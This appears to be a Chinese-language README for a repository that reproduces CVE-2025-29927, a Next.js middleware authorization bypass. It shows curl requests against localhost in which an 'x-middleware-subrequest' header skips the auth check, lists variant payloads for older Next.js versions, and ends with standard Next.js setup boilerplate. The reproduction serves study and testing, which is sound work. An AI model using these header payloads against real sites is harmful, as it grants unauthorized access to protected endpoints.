CVE-2025-29927 授权绕过复现

此仓库是对 next 包中 CVE-2025-29927 漏洞的复现

如何复现

1. 按照以下步骤克隆并运行 Next.js 应用程序
2. 测试授权是否拒绝访问 /api/hello 端点

$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%

3. 测试当提供了 token 时授权正常工作

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%

4. 现在，如果我们通过将 middleware 嵌套5次到特殊的 x-middleware-subrequest 头中，同样可以绕过授权：

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

针对较旧 Next.js 版本的 CVE-2025-29927 利用

Next.js 12 和 13 版本过去对中间件文件有不同的命名约定（_middleware.js），而在 Next.js 14 中更改为 middleware.js。此漏洞可以通过使用 _middleware.js 文件在旧版本中利用。

例如，根据 Next.js 版本和路由约定，可使用以下载荷：

• curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello（适用于 Next.js 12.2 版本，且 middleware.js 文件位于应用根目录，而非 pages 目录内）
• • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
• curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello（适用于 Next.js 11 至 12.2 版本）
• curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
• curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

开始使用

首先，运行开发服务器：

npm run dev
# 或
yarn dev
# 或
pnpm dev
# 或
bun dev

在浏览器中打开 http://localhost:3000 查看结果。

你可以通过修改 app/page.js 来开始编辑页面。编辑文件时页面会自动更新。

此项目使用 next/font 来自动优化和加载 Geist，一种新的 Vercel 字体家族。

了解更多

要了解更多关于 Next.js 的信息，请查看以下资源：

• Next.js 文档 - 了解 Next.js 的特性和 API。
• 学习 Next.js - 一个交互式 Next.js 教程。

你可以查看 Next.js GitHub 仓库 - 欢迎提出反馈和贡献！

部署到 Vercel

部署 Next.js 应用最简单的方法是使用 Vercel 平台，它由 Next.js 的创建者提供。

更多详情请查看我们的 Next.js 部署文档。